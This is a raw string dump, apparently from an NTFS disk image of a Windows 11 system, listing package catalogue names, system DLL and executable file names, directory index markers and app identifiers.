BHyperV-Chipset-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat BHyperV-Chipset-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat $DSC eMicrosoft-WindowsCore-Network-FlowSteering-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat eMicrosoft-WindowsCore-Network-FlowSteering-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat WofCompressedData $DSC QMicrosoft-Windows-CrashDump-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat QMicrosoft-Windows-CrashDump-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat bMicrosoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat bMicrosoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.7840.cat nMicrosoft-OneCoreUAP-AppRuntime-RemoteAppLifetimeManager-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat nMicrosoft-OneCoreUAP-AppRuntime-RemoteAppLifetimeManager-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat aMicrosoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat aMicrosoft-Windows-Client-Desktop-Required-Package0417~31bf3856ad364e35~amd64~~10.0.26100.7840.cat pMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat pMicrosoft-Windows-CoreSystem-BootableSKU-Drivers-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.5074.cat 2D7DAF~1.CAT 2d7daf9aa147f989663a0fa46b52914cb299f99869c79522e1c532cfb352d354.cat WofCompressedData $DSC gMultimedia-RestrictedCodecsExt-WCOSHeadless-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 gMultimedia-RestrictedCodecsExt-WCOSHeadless-WOW64-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat YMicrosoft-Client-License-Platform-CSP-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat YMicrosoft-Client-License-Platform-CSP-Package~31bf3856ad364e35~amd64~~10.0.26100.7309.cat _Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat0 _Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat \Microsoft-Windows-AppManagement-Common-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat \Microsoft-Windows-AppManagement-Common-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat eMicrosoft-OneCore-PerformanceCounters-V2-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat eMicrosoft-OneCore-PerformanceCounters-V2-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat WofCompressedData $DSC SMicrosoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat0 SMicrosoft-OneCore-Helium-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat $DSC dMicrosoft-Windows-Wifi-Client-Intel-Netwtw04-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat dMicrosoft-Windows-Wifi-Client-Intel-Netwtw04-FOD-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat _Microsoft-OneCore-IsolatedUserMode-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat0 _Microsoft-OneCore-IsolatedUserMode-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat cMicrosoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat0 cMicrosoft-Windows-Client-Desktop-Required-Package041020~31bf3856ad364e35~amd64~~10.0.26100.7840.cat lUndocked-Hypervisor-IsolatedVm-SVC-Extension-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat lUndocked-Hypervisor-IsolatedVm-SVC-Extension-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3624.cat \HyperV-Networking-VirtualDevice-Emulated-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat \HyperV-Networking-VirtualDevice-Emulated-Package~31bf3856ad364e35~amd64~~10.0.26100.1150.cat XMicrosoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat XMicrosoft-Windows-Client-Features-Package010~31bf3856ad364e35~amd64~~10.0.26100.1591.cat aMicrosoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat aMicrosoft-OneCore-CoreSystem-Core-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1591.cat aMicrosoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat aMicrosoft-OneCore-Graphics-Required-Full-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.3037.cat aHyperV-Compute-System-AzureVirtualMachine-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat aHyperV-Compute-System-AzureVirtualMachine-merged-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat WofCompressedData $DSC SMicrosoft-Windows-StepsRecorder-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat0 SMicrosoft-Windows-StepsRecorder-Package~31bf3856ad364e35~wow64~~10.0.26100.7824.cat WofCompressedData $DSC QHyperV-LegacyChipset-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat QHyperV-LegacyChipset-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.1.cat wsock32.dll wsplib.dllx wsp_fs.dllx wsp_health.dll wsp_sr.dllx wsqmcons.exe WSReset.exe WSTPager.ax wtdccm.dlll wtdhost.dll wtdsensor.dll wtsapi32.dllL wuapi.dll.d wuapihost.exe wuauclt.exe wuaueng.dll wuceffects.dll WUDFCoinstaller.dll WUDFCompanionHost.exe WUDFHost.exe.dl WUDFPlatform.dll WudfSMCClassExt.dll WUDFx.dll.d WUDFx02000.dll WwaExt.dlld WWanAPI.dll wwancfg.dll WwanPrfl.dlll wwanprotdim.dll WwanRadioManager.dll\ wwansvc.dll XAudio2_8.dll XAudio2_9.dll xcopy.exell xmllite.dll zh-CN zh-TW tapi32.dll tapilua.dll TapiMigPlugin.dll tapiperf.dll tapisrv.dll TapiSysprep.dll tapiui.dll TapiUnattend.exe tar.exe TaskApis.dll Taskbar.dll taskbarcpl.dll taskcomp.dll TaskFlowDataEngine.dll taskhostw.exeta taskkill.exeata tasklist.exeata TaskManagerDataLayer.dll Taskmgr.exe wiascanprofiles.dll wiaservc.dlless wiashext.dlless wiatrace.dlless wiawow64.exere. WiFiCloudStore.dlli WiFiConfigSP.dllini wifidatacapabilityhandler.dll WiFiDisplay.dll wifinetworkmanager.dll wifitask.exeess WimBootCompress.ini wimgapi.dll wimserv.exe win32appinventorycsp.dll "Win32CompatibilityAppraiserCSP.dll win32k.sysb win32kbase.sys TimeSyncTask.dll tlscsp.dlln tokenbinding.dll TokenBroker.dll TokenBrokerCookies.exe TokenBrokerUI.dlldl tpm.msc TpmCertResources.dll tpmcompc.dllsio TpmCoreProvisioning.dll TpmInit.exe TpmTasks.dll TpmTool.exe tpmvsc.dll tpmvscmgr.exe tpmvscmgrsvr.exeV tprtdll.dll tquery.dll MsRdpWebAccess.dll msrle32.dll msscntrs.dllH mssecuser.dll mssecwfpu.dll mssign32.dllH mssip32.dll mssitlb.dll MsSpellCheckingFacility.dll MsSpellCheckingHost.exe mssph.dll mssprxy.dll mssrch.dll mssvp.dll mstask.dll msTextPrediction.dll mstsc.exell mstscax.dll msutb.dll Microsoft.Uev.CmUtil.dlle.C Microsoft.Uev.Common.dlle.C Microsoft.Uev.Common.WinRT.dll. Microsoft.Uev.CommonBridge.dll. Microsoft.Uev.ConfigWrapper.dll Microsoft.Uev.CscUnpinTool.exe. "Microsoft.Uev.EventLogMessages.dll #Microsoft.Uev.LocalSyncProvider.dll %Microsoft.Uev.ManagedEventLogging.dll Microsoft.Uev.Management.dllre. &Microsoft.Uev.Management.WmiAccess.dll Microsoft.Uev.ModernAppAgent.dllll Microsoft.Uev.ModernAppCore.dll %Microsoft.Uev.ModernAppData.WinRT.dll Microsoft.Uev.ModernSync.dllre. %Microsoft.Uev.MonitorSyncProvider.dll )Microsoft.Uev.Office2010CustomActions.dll )Microsoft.Uev.Office2013CustomActions.dll &Microsoft.Uev.PrinterCustomActions.dll !Microsoft.Uev.SmbSyncProvider.dlll Microsoft.Uev.SyncCommon.dllre. Microsoft.Uev.SyncConditions.dllll Microsoft.Uev.SyncController.exell "Microsoft.Windows.Storage.Core.dll -Microsoft.Windows.Storage.StorageBusCache.dll 'MicrosoftAccount.TokenProvider.Core.dll prauthproviders.dll PresentationHost.exey.d PresentationHostProxy.dll PresentationSettings.exe prevhost.exe prflbmsg.dll print.exe Print.PrintSupport.Source.dll Print.Workflow.Source.dll PrintBrmUi.exef #PrintDeviceConfigurationService.dll PrinterAssociationCommon.dll !PrinterAssociationCommonProxy.dll PrinterCleanupTask.dll printfilterpipelineprxy.dll printfilterpipelinesvc.exe mfc140ita.dll mfc140jpn.dll mfc140kor.dll mfc140rus.dll mfc140u.dll MFC140~1.DLL MFC140~2.DLL MFC140~3.DLL MFC140~4.DLL MFC411~1.DLL mfc42.dll mfc42u.dll MFCaptureEngine.dll mfcm140.dll mfcm140u.dll mfcore.dll mfcsubs.dll mfds.dll MFDshowReverseBridge.dll mfdvdec.dll mferror.dll Tasks $I300 $I30 $I30 MicrosoftEdgeUpdateTaskMachineCore{F1CBFC96-D09B-405F-A320-58B63D0BE5D4} MicrosoftEdgeUpdateTaskMachineUA{FA30B72D-EF3C-4BF0-92C8-213EFE221F38} MICROS~1 Microsoft $I300 OneCore Windows XblGameSave XBLGAM~1 Windows $I300 $I30 $I30 InstallService Offline Files SOFTWA~1tr $I30 $I30? DeviceLicensingService $I300 singService $I300 ur-PK $I300 $I30 $I30 comdlg32.dll.mui fms.dll.mui mlang.dll.mui SyncRes.dll.mui uz-Latn-UZ $I300 $I30 $I30 comdlg32.dll.mui fms.dll.mui mlang.dll.mui SyncRes.dll.mui vi-VN $I300 $I30 $I30 comdlg32.dll.mui fms.dll.mui mlang.dll.mui SyncRes.dll.mui wbem $I300 $I30 $I30 $TXF_DATA schannel.mof wbemcore.dll $I30 $I30? v1.0 $I300 $I30 $I30 en-US Examples Modules Schemas SessionConfig $I300 powershell_ise.resources.dll en-US $I300 default.help.txtui powershell.exe.mui PSEvents.dll.mui pwrshmsg.dll.mui Examples $I300 profile.ps1 inetpub $I300 PerfLogs $I300 PROGRA~1 Program Files $I300 $I30 $I30 COMMON~1 Internet Explorer INTERN~1 COMMON~1 Common Files $I300 microsoft shared MICROS~1 System VMware WINDOW~1 Windows Defender $I300 MpDetours.dll $I30 $I30 en-US Offline en-US $I300 $I30 $I30 MpAsDesc.dll.muimen MpEvMsg.dll.mui ProtectionManagement.mfl "ProtectionManagement_Uninstall.mfl Offline $I300 EppManifest.dll MsMpLics.dll OfflineScannerShell.exe WIF4A9~1 Windows Defender Advanced Threat Protection $I300 $I30 $I30 Classification CLASSI~1 en-US Windows Sidebar $I300 Gadgets Shared Gadgets SHARED~1 Gadgets $I300 Shared Gadgets $I300 red Gadgets $I300 WindowsApps $I300 Microsoft.RawImageExtension_2.5.7.0_x64__8wekyb3d8bbwe $I30 $I30 $I30 $I30 $I30 CLIPCH~2.SCA Common Files COMMON~1 desktop.ini Internet Explorer INTERN~1 ModifiableWindowsApps Uninstall Information UNINST~1Def VMware~ WI8A19~1Def WIF4A9~1Def Windows Defender Windows Defender Advanced Threat Protection Windows Mail Windows Media Player Windows NT Windows Photo Viewer Windows Sidebar WindowsApps WindowsPowerShell WINDOW~1 WINDOW~2 WINDOW~3 WINDOW~4 mobsync.exe $DSC mobsync.exe0 mobsync.exe WofCompressedData $DSC mobsync.exe $DSC mobsync.exe WofCompressedData $DSC msdtc.exe $DSC $DSC DUAL_E~1.DLL dual_engine_adapter_x64.dll MICROS~1.MET microsoft.system.package.metadata $I300 DELEGA~1.SCC delegatedWebFeatures.sccd MIB9D2~1.EVT Microsoft-Windows-ReadyBoost%4Operational.evtx #stable.identity_helper.exe.manifest STABLE~2.MAN stable.identity_helper.exe.manifest ELEVAT~1.EXE elevated_tracing_service.exe msedgewebview2.exe MSEDGE~1.EXE msedgewebview2.exe WofCompressedData $DSC AxInstUI.exe $DSC BACKGR~1.EXE backgroundTaskHost.exe backgroundTaskHost.exe WofCompressedData $DSC $DSC WORKFL~1.DLL WorkflowServiceHostPerformanceCounters.dll WofCompressedData $DSC BACKGR~1.EXE backgroundTaskHost.exe backgroundTaskHost.exe WofCompressedData $DSC WORKFL~1.DLL WorkflowServiceHostPerformanceCounters.dll WofCompressedData $DSC WofCompressedData $DSC BACKGR~1.EXE WofCompressedData $DSC BACKGR~1.EXE $DSC bash.exe $DSC bash.exe $DSC BDECHA~1.EXE bdechangepin.exe $DSC $DSC BdeUISrv.exe $DSC $DSC BdeUISrv.exe BdeUISrv.exe WofCompressedData $DSC $DSC en-US $I300 DscCoreR.dll.mui &PSDSCFileDownloadManagerEvents.dll.mui el-GR $I300 $I30 $I30 comctl32.dll.mui comdlg32.dll.mui fms.dll.mui mlang.dll.mui msimsg.dll.mui $I300 AppVStreamingUX.resources.dll AuthFWSnapIn.Resources.dll AuthFWWizFwk.Resources.dll fhuxpresentation.Resources.dll en-GB $I300 $I30 $I30 $TXF_DATA fms.dll.mui mlang.dll.mui msimsg.dll.mui SyncRes.dll.mui en-US $I300 $I30 $I30 ller.dll.mui2 phoneactivate.exe.mui $I30 $I30 $I30? Licenses $I300 Volume _Default $I300 IoTEnterprise IoTEnterpriseK IOTENT~1 IOTENT~2 Professional PROFES~1 IOTENT~1 IoTEnterprise $I300 license.rtf lo-LA $I300 $I30 $I30 comdlg32.dll.mui fms.dll.mui mlang.dll.mui SyncRes.dll.mui LogFiles $I300 $I30 $I30 Firewall UnionFS Windows Portable Devices CloudFiles $I300 CldFlt0.etl CldFlt1.etl CldFlt2.etl CldFlt3.etl Firewall $I300 oobe $I300 $I30 $I30 cmisetup.dll diagER.dll diagnostic.dll en-US winsetup.dll en-US $I300 $I30 $I30 $oobe_learn_more_activity_history.htm pnpibs.dll.mui privacy.rtf vofflps.rtf OpenSSH $I300 $I30 $I30 sftp.exe ssh-add.exe ssh-agent.exe ssh-keygen.exe ssh.exe or-IN $I300 $I30 $I30 comdlg32.dll.mui fms.dll.mui mlang.dll.mui SyncRes.dll.mui ruxim $I300 ruximics.exetor ruximih.exe systemevaluator.dll SecureBootUpdates $I300 $I30 $I30 dbupdate2024.bin DBUpdate3P2023.bin DBUpdateOROM2023.bin dbxupdate.bin SecurityHealth $I300 10.0.29510.1001-0up 100295~1.100thS SecurityHealthSetup.exe SECURI~1.EXE setup $I300 $I30 $I30 comsetup.dllX en-US msdtcstp.dll pbkmigr.dll tssysprep.dll shell32.dll.mun0 SHELL3~1.MUN shell32.dll.mun WofCompressedData $DSC WININE~1.MUN wininet.dll.mun0 wininet.dll.mun WofCompressedData $DSC WININE~1.MUN wininet.dll.mun WofCompressedData $DSC networks $DSC fwpuclnt.dll.mui FWPUCL~1.MUI fwpuclnt.dll.mui fwpuclnt.dll.mui WofCompressedData $DSC C_1140.NLS C_1140.NLS WofCompressedData $DSC C_1141.NLS C_1141.NLS WofCompressedData $DSC C_1142.NLS C_1142.NLS WofCompressedData $DSC C_1250.NLS C_1250.NLS WofCompressedData $DSC C_1251.NLS C_1251.NLS WofCompressedData $DSC C_1252.NLS C_1252.NLS WofCompressedData $DSC C_1253.NLS C_1253.NLS WofCompressedData $DSC WofCompressedData $DSC TENANT~1.DLL WofCompressedData $DSC TENANT~1.DLL $DSC tscfgwmi.dll tscfgwmi.dll WofCompressedData $DSC $DSC TSERRR~1.DLL TSErrRedir.dll TSErrRedir.dll WofCompressedData $DSC MICROS~2.MUI Microsoft.UI.Xaml.Phone.dll.mui WofCompressedData ztdnsapi.dll ztdnsapi.dll WofCompressedData $DSC zthelper.dll zthelper.dll WofCompressedData $DSC DRIVERS $DSC desktop.ini $DSC SRU00012.log +copilot_overlay_strings_sr-Cyrl-BA.pak.DATA0 COE00F~1.PAK copilot_overlay_strings_sr-Cyrl-BA.pak MICROS~2.MUI Microsoft.UI.Xaml.Phone.dll.mui WofCompressedData DTCINS~1.LOG DtcInstall.log $DSC ngen.log ngen.log DEFAULT.LOG1 $DSC BBI.LOG138d BBI.LOG238d 0BBI{2ad838d4-efea-11ee-a54d-000d3a94eaa1}.TM.blfain UBBI{2ad838d4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms UBBI{2ad838d4-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms BCD-Template BCD-Template.LOG` BCD-TE~1.LOG COMPONENTS. COMPONENTS.LOG1 COMPONENTS.LOG1 COMPONENTS{2ad83897-efea-11ee-a54d-000d3a94eaa1}.TxR.2.regtrans-ms -efea-11ee-a54d-000d3a94eaa1}.TxR.2.regtrans-ms COMPONENTS{2ad83897-efea-11ee-a54d-000d3a94eaa1}.TxR.2.regtrans-ms COMPONENTS{2ad83897-efea-11ee-a54d-000d3a94eaa1}.TxR.2.regtrans-ms eaa1}.TMContainer00000000000000000001.regtrans-ms COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms COMPON~1.BLFZ COMPON~1.REGZ COMPON~2.BLFZ COMPON~2.REGZ COMPON~3.REGZ DEFAULT DEFAULT.LOG1J DEFAULT.LOG2Z DRIVERS DRIVERS.LOG1T COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TM.blf COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000001.regtrans-ms COMPONENTS{2ad83898-efea-11ee-a54d-000d3a94eaa1}.TMContainer00000000000000000002.regtrans-ms COMPON~1.BLFZ COMPON~1.REGZ COMPON~2.REGZ DEFAULT DEFAULT.LOG1J DEFAULT.LOG2Z DRIVERS DRIVERS.LOG1T DRIVERS DRIVERS.LOG1T DRIVERS.LOG1T DRIVERS DRIVERS.LOG1T DRIVERS DRIVERS.LOG1T DRIVERS.LOG1T DRIVERS DRIVERS.LOG1T DRIVERS.LOG1T WIN://SYSAPPID 1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy WIN://SYSAPPID 1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy WIN://SYSAPPID 1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy WIN://SYSAPPID c5e2524a-ea46-4f67-841f-6a9465d9d515_cw5n1h2txyewy WIN://SYSAPPID F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy WIN://SYSAPPID Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy WIN://SYSAPPID Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy WIN://SYSAPPID Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy WIN://SYSAPPID Microsoft.AccountsControl_cw5n1h2txyewy WIN://SYSAPPID Microsoft.AccountsControl_cw5n1h2txyewy WIN://SYSAPPID Microsoft.AccountsControl_cw5n1h2txyewy WIN://SYSAPPID Microsoft.AsyncTextService_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AsyncTextService_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.Windows.CapturePicker_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.CapturePicker_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy WIN://S WIN://SYSAPPID Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.ShellExperienceHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy WIN://SYSAPPID Microsoft.Windows.XGpuEjectDialog_cw5n1h2txyewy 8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID Windows.CBSPreview_cw5n1h2txyewy WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe 8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID windows.immersivecontrolpanel_cw5n1h2txyewy WIN://SYSAPPID Microsoft.MicrosoftEdge.Stable_8wekyb3d8bbwe WIN://SYSAPPID windows.immersivecontrolpanel_cw5n1h2txyewy WIN://SYSAPPID windows.immersivecontrolpanel_cw5n1h2txyewy WIN://SYSAPPID Windows.PrintDialog_cw5n1h2txyewy WIN://SYSAPPID Microsoft.ApplicationCompatibilityEnhancements_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://PKG WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.HEIFImageExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.HEVCVideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.MPEG2VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.VP9VideoExtensions_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WebMediaExtensions_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.WebpImageExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AV1VideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe WIN://SYSAPPID Microsoft.AVCEncoderVideoExtension_8wekyb3d8bbwe \EFI\Microsoft\Boot\CiPolicies\Active\{CDD5CB55-DB68-4D71-AA38-3DF2B6473A52}.cip \EFI\Microsoft\Boot\CiPolicies\Active\{CDD5CB55-DB68-4D71-AA38-3DF2B6473A52}.cip \EFI\Microsoft\Boot\CiPolicies\Active\{CDD5CB55-DB68-4D71-AA38-3DF2B6473A52}.cip runonce.exe $DSC $DSC RUNTIM~1.EXE RuntimeBroker.exe RuntimeBroker.exe WofCompressedData $DSC RUNTIM~1.EXE RuntimeBroker.exe $DSC $DSC ruximics.exe ruximics.exe WofCompressedData $DSC SEARCH~1.EXE SearchFilterHost.exe $DSC $DSC WofCompressedData $DSC SEARCH~1.EXE SearchHost.exe $DSC SearchIndexer.exe SEARCH~2.EXE SearchIndexer.exe WofCompressedData $DSC $DSC SEARCH~2.EXE SearchIndexer.exe SearchIndexer.exe WofCompressedData $DSC SECURI~1.EXE SecurityHealthHost.exe SecurityHealthHost.exe WofCompressedData $DSC $DSC SECURI~1.EXE SecurityHealthHost.exe $DSC $DSC SECURI~2.EXE SecurityHealthService.exe $DSC $DSC WofCompressedData $DSC SECURI~2.EXE $DSC SECURI~1.EXE SecurityHealthSystray.exe $DSC WofCompressedData $DSC SECURI~1.EXE DmNotificationBroker.exe DmNotificationBroker.exe WofCompressedData $DSC SENSOR~1.EXE SensorDataService.exe WofCompressedData $DSC EDGE_D~1.JS0 edge_driver.js notepad.exe0 notepad.exe WofCompressedData $DSC notepad.exe $DSC $DSC MICROS~1.DLL microsoft_shell_integration.dll passkey_authenticator_plugin.exe NOTIFI~1.EXE notification_helper.exe SHOW_T~1.BAT show_third_party_software_licenses.bat NOTIFI~1.EXE notification_helper.exe WofCompressedData $DSC notification_helper.exe0 NOTIFI~1.EXE notification_helper.exe WofCompressedData $DSC WofCompressedData $DSC POWERS~1.EXE powershell.exe $DSC POWERS~1.EXE powershell.exe $DSC $DSC POWERS~1.EXE powershell.exe WofCompressedData $DSC POWERS~1.EXE powershell.exe WofCompressedData $DSC WofCompressedData $DSC @CameraToastIcon.png.mu accessibilitycpl.dll.mun aclui.dll.munts ActionCenterCPL.dll.mun appwiz.cpl.muns AuthFWGP.dll.mun authui.dll.muns azroles.dll.mun batmeter.dll.mun BingMaps.dll.mun certCredProvider.dll.mun Chakra.dll.muns colorui.dll.mun comdlg32.dll.mun compstui.dll.mun comres.dll.muns connect.dll.mun cryptui.dll.mun cryptuiwizard.dll.mun cttune.exe.muns DataExchange.dll.mun^ dccw.exe.munnts DDORes.dll.muns DeviceCenter.dll.mun^ msctf.dll.munts msxml3.dll.muns netshell.dll.mun newdev.dll.muns ntshrui.dll.mun printui.dll.mun propsys.dll.mun raschapext.dll.mun rasdlg.dll.muns rastls.dll.muns ityAccess crypt32.dll.mun dwmcore.dll.mun imagesp1.dll.mun msctf.dll.munts rastlsext.dll.mun sud.dll.mun Windows.SystemToast.PresenceSensing.OnlookerDetection SyncCenter.dll.mung sysdm.cpl.munEM sysmon.ocx.munM systemcpl.dll.munag tapiui.dll.munM Taskmgr.exe.mun themecpl.dll.munnag themeui.dll.mun timedate.cpl.munnag tquery.dll.munM TtlsExt.dll.mun twinui.appcore.dll.munn twinui.dll.munM usercpl.dll.mun Vault.dll.munEM wcnwiz.dll.munM wdc.dll.mun wiadefui.dll.munnag wiashext.dll.munnag Windows-NFC-SEManagement #Windows.ApplicationModel.LockScreen Windows.Data.Pdf.dll.munost +Windows.Foundation.Diagnostics.ErrorDetails %Windows.Management.AutopilotResources Windows.ParentalControlsSettings #Windows.ShellCommon.SharedResources Windows.SystemToast.Calling $Windows.SystemToast.CapabilityAccess the-real-index~ THE-RE~1.TM 39b.TMP THE-RE~1.TM THE-RE~1.TMPMPM THE-RE~1.TM THE-RE~1.TMP 418260~1.5-0 4.18.26010.5-0 $I300 $I30 $I30 Microsoft-Antimalware-NIS.man MPCOPY~1.EXEl $I30 $I30 CONFIG~1.EXE ConfigSecurityPolicy.exe WofCompressedData MPAZSU~1.DLL MpAzSubmit.dll WofCompressedData MpClient.dll WofCompressedData MpCmdRun.exe WofCompressedData MpCommu.dll WofCompressedData MPDETO~1.DLL MpDetours.dll WofCompressedData MPDETO~2.DLL MpDetoursCopyAccelerator.dll WofCompressedData MPCOPY~1.EXE MpCopyAccelerator.exe WofCompressedData MpOAV.dll WofCompressedData MpRtp.dll WofCompressedData MpDlp.dll WofCompressedData MsMpLics.dll WofCompressedData DLPUSE~1.EXE DlpUserAgent.exe WofCompressedData MipDlp.exe WofCompressedData NisSrv.exe WofCompressedData MPDEFE~1.EXE MpDefenderCoreService.exe WofCompressedData MPDLPS~1.EXE MpDlpService.exe WofCompressedData DEFEND~1.DLL DefenderCSP.dll WofCompressedData MICROS~1.MAN Microsoft-Antimalware-AMFilter.man WofCompressedData en-US $I300 bootres.dll.mui Branding $I300 Basebrd shellbrd Basebrd $I300 basebrd.dll en-US en-US $I300 basebrd.dll.mui en-US $I300 $I30 $I30 bootfix.bin explorer.exe.mui` hh.exe.mui notepad.exe.mui regedit.exe.mui Fonts $I300 $I30 $I30 c8514sys.fon dosapp.fon hvgafix.fon $I30 $I30? 8514oem.fon GameBarPresenceWriter $I300 enceWriter $I300 Globalization $I300 Sorting Time Zone $TXF_DATA $I300 HyphenationDictionaries HYPHEN~1 SpellDictionaries Transliteration $TXF_DATA HYPHEN~1 HyphenationDictionaries $I300 MsHy7en.lex SpellDictionaries $I300 $I30 $I30 $TXF_DATA MsSp7en-US.acl MsSp7en-US.dub MsSp7en-US.lex $TXF_DATA Fluency $I300 en-GB en-US $TXF_DATA en-US $I300 $I30 $I30 charactermap.json en_US.lmt extra.dat ime.json punctuation-SDK1.2.json Transliteration $I300 $I30 $I30 cyrl-to-latin.nlt decompose-hangul.nlt devanagari-to-latin.nlt Hans-To-Hant.nlt $I300 icudtl.dat metaZones.res timezoneTypes.res windowsZones.res zoneinfo64.res $I300 en-CA en-US Dictionaries $I300 $I30 $I30 RBDS045B.dicion RBDS045E.dicion RBDS0473.dicion $TransliterationComponentLayouts.dgml SHARED $I300 Installer $I300 $I30 $I30 inprogressinstallinfo.ipi INPROG~1.IPI SourceHash{D7A66DA5-B103-45C1-A0A7-736C08E2F464} SOURCE~1 L2Schemas $I300 $I30 $I30 LAN_profile_v1.xsd OneX_v1.xsd 